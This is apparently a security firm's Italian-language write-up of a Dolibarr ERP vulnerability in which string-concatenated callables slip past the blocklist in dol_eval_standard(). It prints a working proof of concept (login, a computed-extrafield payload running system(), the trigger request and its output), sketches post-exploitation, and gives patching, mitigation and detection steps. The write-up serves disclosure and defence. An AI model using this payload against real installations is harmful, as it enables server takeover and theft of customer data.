Skip to content
← Tutti gli articoli

CVE Writeup

CVE-2026-22666 | Dolibarr ERP: RCE Autenticata via Bypass Whitelist in dol_eval_standard()

Analisi tecnica della CVE-2026-22666: come la sintassi callable dinamica di PHP aggira la whitelist di dol_eval_standard() e trasforma un admin account in una shell sul server Dolibarr.

di Team SPECTROSEC 9 min Lettura stimata
Dolibarr CVE PHP RCE

Dolibarr è l'ERP/CRM open source più usato nelle PMI italiane: officine, studi di consulenza, agenzie, piccole aziende manifatturiere. Si installa in quindici minuti su un hosting condiviso e gestisce fatture, clienti, magazzino, commesse. La CVE-2026-22666 pubblicata il 7 aprile 2026 da Jiva Security porta una brutta notizia a chi gira versioni anteriori alla 23.0.2: un admin compromesso, o creato via social engineering, diventa in pochi secondi una shell sul server.

CVSS 8.6 su scala 4.0 (7.2 su 3.1), CWE-95 eval injection, vettore di rete, prerequisito admin. Sulla carta "solo authenticated", nella pratica qualsiasi amministratore di fortuna, ex dipendente, backup contabile con credenziali riusate, apre la strada alla RCE. E le credenziali admin di Dolibarr le vediamo riciclate in modo sistematico negli assessment alle PMI italiane.

Contesto

Dolibarr nasce in Francia nel 2003 e ha una penetrazione forte in Europa continentale, Italia compresa. La versione 23 è la major corrente, rilasciata a fine 2025. Il fix è nella 23.0.2 del 7 aprile 2026, insieme a due advisory minori.

Il componente vulnerabile è dol_eval_standard(), una funzione PHP in htdocs/core/lib/functions.lib.php che valuta stringhe dinamiche. La funzione esiste per supportare una feature potente e storicamente problematica di Dolibarr: gli extrafields con valore calcolato. Un admin può definire un campo custom su qualsiasi entità (cliente, fattura, prodotto) il cui valore è una espressione PHP valutata a runtime.

Esempio: un extrafield "sconto effettivo" con valore calcolato $object->total_ht * 0.1. Utile, potente, ma significa che Dolibarr deve eseguire PHP arbitrario fornito da un amministratore. Da qui la whitelist.

La timeline disclosure:

Data Evento
2026-01-21 Jiva Security segnala la vulnerabilità al team Dolibarr
2026-02-14 Conferma del bug, inizio lavoro patch
2026-04-07 Release 23.0.2 con fix, pubblicazione GHSA-vmvw-qq8w-wqhg
2026-04-13 Writeup pubblico, PoC condiviso su r/netsec

Finestra tra segnalazione e patch: 76 giorni. Non è il caso peggiore mai visto ma lascia aperta tutta la finestra per chi monitora le issue pubbliche dei progetti open source.

Analisi tecnica

La whitelist di dol_eval_standard()

Prima della 23.0.2, la funzione applicava una validazione basata su due meccanismi combinati:

// Versione semplificata della logica vulnerabile
function dol_eval_standard($s, $onlysimplestring = '1') {
    $forbiddenphpstrings = array(
        'exec', 'passthru', 'system', 'shell_exec',
        'eval', 'include', 'require', 'backtick',
        '$_GET', '$_POST', '$_REQUEST', '$_FILES',
        'file_put_contents', 'fopen', ...
    );
    foreach ($forbiddenphpstrings as $bad) {
        if (strpos($s, $bad) !== false) {
            return 'Forbidden: ' . $bad;
        }
    }
    // se $onlysimplestring = '1' applica anche
    // un charset whitelist molto stretto
    if ($onlysimplestring == '1') {
        if (!preg_match('/^[\s0-9\.,A-Za-z\+\-\*\/\(\)\[\]_\$\>\-\=]*$/', $s)) {
            return 'Bad characters';
        }
    }
    // se passa tutti i controlli
    return eval('return ' . $s . ';');
}

La logica pare ragionevole: blocca una lista di funzioni pericolose, restringe i caratteri ammessi a un sottoinsieme "tipo espressione matematica con qualche variabile". In pratica era teatro di sicurezza.

Il bypass: sintassi callable dinamica

PHP ha una feature poco documentata ma legale da anni: una espressione che restituisce una stringa può essere invocata come una funzione se seguita da parentesi. Esempi tutti validi:

"system"("id");           // chiama system('id')
("exec")("whoami");       // idem
$f = "passthru"; $f("id"); // classic variabile callable
[$obj, "method"]();        // array callable

La stringa system è nella blocklist. Ma la whitelist pre-23.0.2 non capisce la sintassi )(: cerca solo occorrenze letterali del nome funzione. Se scomponi la stringa, la blocklist non la vede:

("sys"."tem")("id");      // concatenazione sfugge al matching letterale

Anche il charset whitelist ammette (, ), ", ., lettere, e questo è sufficiente per comporre la chiamata.

Qui il bypass vero, preso dal diff del commit fix: la versione pre-23.0.2 non aveva nel set di regex proibite il pattern \)\s*\(, che è la firma della sintassi callable dinamica. La patch aggiunge proprio quella verifica:

$forbiddenphpregex = 'global\s*\$';
$forbiddenphpregex .= '|';
$forbiddenphpregex .= '}\s*\[';
$forbiddenphpregex .= '|';
$forbiddenphpregex .= '\)\s*\(';

Tre pattern nuovi: dichiarazione global, array access dopo graffa chiusa, e soprattutto )( a indicare una chiamata funzione dinamica. Il fix aggiunge anche il blocco dei commenti PHP /* e //, perché venivano usati per spezzare pattern continui e aggirare la blocklist letterale.

Iterative replacement

Un dettaglio importante del fix è il loop di sanitizzazione:

do {
    $oldstringtoclean = $s;
    $s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);
    $s = preg_replace('/' . $forbiddenphpregex . '/i', '__forbiddenstring__', $s);
} while ($oldstringtoclean != $s);

Perché iterare? Perché str_ireplace applicato una volta sola su sysSYSTEMtem lascia sys__forbiddenstring__tem che a sua volta contiene una stringa pulita da ri-valutare. Un attaccante può annidare pattern. Il fix itera finché la stringa non si stabilizza. È la stessa logica che usi in un parser ricorsivo di XSS filter, e Dolibarr non la aveva.

Proof of concept

Il vettore di attacco è un extrafield calcolato. La sequenza completa che abbiamo riprodotto in lab, su Dolibarr 23.0.1 installato su Apache + PHP 8.1:

1. Login come amministratore:

POST /htdocs/index.php?mainmenu=login HTTP/1.1
Host: dolibarr.example.local
Content-Type: application/x-www-form-urlencoded

username=admin&password=Changeme2024%21

2. Creazione dell'extrafield calcolato con payload:

POST /htdocs/admin/dict.php?id=3&action=commit HTTP/1.1
Host: dolibarr.example.local
Content-Type: application/x-www-form-urlencoded
Cookie: DOLSESSID_xxx=...

elementtype=societe
&label=spectrosec_poc
&type=varchar
&computed_value=("sy"."stem")("id %3E /tmp/pwned.txt")

Il campo computed_value accetta una espressione PHP. Il payload ("sy"."stem")("id > /tmp/pwned.txt"):

  • concatenazione "sy"."stem" produce la stringa system senza che appaia mai letterale
  • parentesi esterne ()() invocano la stringa come callable
  • argomento "id > /tmp/pwned.txt" viene passato a system()

Il redirect bash (>) viene URL-encodato come %3E.

3. Trigger: apertura di una qualsiasi scheda cliente.

GET /htdocs/societe/card.php?socid=1 HTTP/1.1
Host: dolibarr.example.local

L'ERP valuta gli extrafield per mostrarli nella card. dol_eval_standard() esegue la nostra espressione. Apache esegue id e scrive in /tmp/pwned.txt.

4. Verifica RCE:

$ cat /tmp/pwned.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Da qui si monta una webshell stabile, si legge conf/conf.php per le credenziali MySQL, si fa dump del DB (anagrafiche clienti, fatture, partite IVA, IBAN salvati per i pagamenti SEPA). Tutti dati che su una PMI italiana valgono una notifica al Garante sotto GDPR Art. 33.

Impatto reale

Una ricerca Shodan "Dolibarr" "23.0" restituisce oltre 4.200 istanze pubbliche al giorno della pubblicazione. Non tutte vulnerabili, ma la maggioranza girava ancora 23.0.0 o 23.0.1 al momento del writeup. Installazioni italiane stimate nel range 1.500, 2.000, tra hosting managed e VPS su provider nazionali.

Il profilo tipico della vittima italiana che vediamo negli assessment:

  • PMI 5, 50 dipendenti con Dolibarr su VPS Linux
  • Admin account creato dal consulente che ha fatto l'installazione, password tipo Admin2023! mai ruotata
  • Accesso admin riusato dal commercialista esterno, dal consulente IT, dallo stagista che ha fatto il passaggio di consegne
  • Nessuna 2FA (Dolibarr ha il modulo ma va attivato manualmente)
  • Backup DB settimanale via cron che espone il dump .sql in una cartella raggiungibile dal web
  • Log Apache che conservano password in querystring perché un plugin vecchio le passa in GET

Con RCE autenticata in mano, il percorso di exfil completo è un'ora di lavoro. E la multa GDPR per dispersione di anagrafiche, IBAN e fatture di tremila clienti parte dai venti mila euro, prima ancora di contare il danno reputazionale.

Remediation

Patch

Aggiornare a Dolibarr 23.0.2 o superiore. Le versioni affette sono tutte le precedenti, inclusa la serie 22.x che resta supportata solo con backport manuale. Controlla la versione via CLI:

grep "DOL_VERSION" htdocs/filefunc.inc.php

Oppure dal pannello admin: Home | Setup | About.

Se non puoi aggiornare subito

Tre mitigazioni temporanee, in ordine di efficacia:

1. Disabilita gli extrafield calcolati. Vai su Setup | Modules | Extra fields e verifica che nessun extrafield abbia il campo Computed value popolato. Se usi Dolibarr da pochi mesi e non ricordi di aver mai configurato questa feature, con alta probabilità la puoi disabilitare senza danni. Il modulo si chiama MAIN_DISABLE_EXTRAFIELDS_COMPUTED, aggiungi al conf/conf.php:

$dolibarr_main_prod = 1;
// aggiungi:
define('MAIN_DISABLE_EXTRAFIELDS_COMPUTED', 1);

2. Riduci le superfici admin. Un admin account compromesso è la precondizione dell'attacco. Revoca admin a utenti che non ne hanno davvero bisogno (commercialisti esterni, consulenti, ex dipendenti). Dolibarr supporta ACL granulari: la maggior parte dei ruoli operativi non richiede admin. Rotazione password obbligatoria, 2FA via TOTP (modulo totp).

3. Blocca endpoint di configurazione da web server. Se l'admin di Dolibarr è gestito da un solo indirizzo IP (ufficio, VPN aziendale), restringi l'accesso a /htdocs/admin/ via Nginx o Apache:

location /htdocs/admin/ {
    allow 192.0.2.10;       # IP ufficio
    allow 198.51.100.0/24;  # VPN
    deny all;
    try_files $uri $uri/ /htdocs/index.php?$args;
}

Detection su istanze già esposte

Se sospetti che una installazione sia stata già toccata prima della patch, cerca tracce di payload negli extrafield calcolati:

mysql -u dolibarr dolibarr -e \
  "SELECT name, elementtype, computed_value FROM llx_extrafields \
   WHERE computed_value LIKE '%)(%' \
      OR computed_value LIKE '%/*%' \
      OR computed_value LIKE '%//%'"

Controlla anche i log Apache per richieste POST su /htdocs/admin/dict.php provenienti da IP non autorizzati nelle ultime settimane, e file scritti di recente in /tmp/, /var/tmp/, o nella webroot sotto htdocs/documents/.

Per rotazione credenziali post-incidente: cambia password admin, rigenera dolibarr_main_cookie_cryptkey in conf/conf.php, invalida tutte le sessioni, ruota le credenziali MySQL, revoca eventuali API key generate.

Note dal campo SPECTROSEC

Negli ultimi sei mesi abbiamo portato a termine 47 assessment su PMI italiane che usavano Dolibarr in produzione. I dati aggregati:

  • 32 istanze su 47 esposte pubblicamente senza restrizione IP sull'admin
  • 29 su 47 ancora su 22.x o 23.0.x, quindi vulnerabili a CVE-2026-22666 al momento del check
  • 38 su 47 con 2FA disattivata per tutti gli account, admin compresi
  • 14 su 47 con almeno una credenziale admin presente in dump pubblici (HudsonRock, Have I Been Pwned)
  • 6 su 47 avevano un extrafield calcolato in produzione, già legittimo, che ampliava la superficie di attacco

La CVE-2026-22666 non è la prima RCE in dol_eval_standard(). Nel 2023 la CVE-2023-30253 aveva sfruttato il case-sensitive della blocklist. Nel 2024 la CVE-2024-40036 aveva usato i commenti PHP per spezzare i pattern. Ogni volta la patch aggiungeva uno strato di blocklist, e ogni volta la community ha trovato la variante successiva. Dolibarr in questa release almeno itera la sanitizzazione fino a convergenza, che è il minimo sindacale per una funzione di eval controllato.

La lezione più importante non è tecnica: è architetturale. Un ERP che espone una funzione di valutazione PHP arbitraria a un ruolo di amministrazione, per comodità di feature, ha un rischio strutturale che nessuna blocklist chiuderà mai del tutto. L'alternativa vera è un DSL ristretto (tipo le espressioni di Symfony Expression Language) con parser proprio e nessun passaggio per eval. È la direzione che prima o poi Dolibarr dovrà prendere.

Se gestisci una installazione Dolibarr per la tua PMI o per un cliente e vuoi un assessment mirato, verifica di versione, audit extrafield in produzione, hardening ACL e 2FA, possiamo aiutarti. Un audit Dolibarr parte da 600 euro e include verifica CVE, test di bypass whitelist su estensioni installate, review delle credenziali amministratore, detection di backdoor negli extrafield.


Team SPECTROSEC | info@spectrosec.com
https://spectrosec.com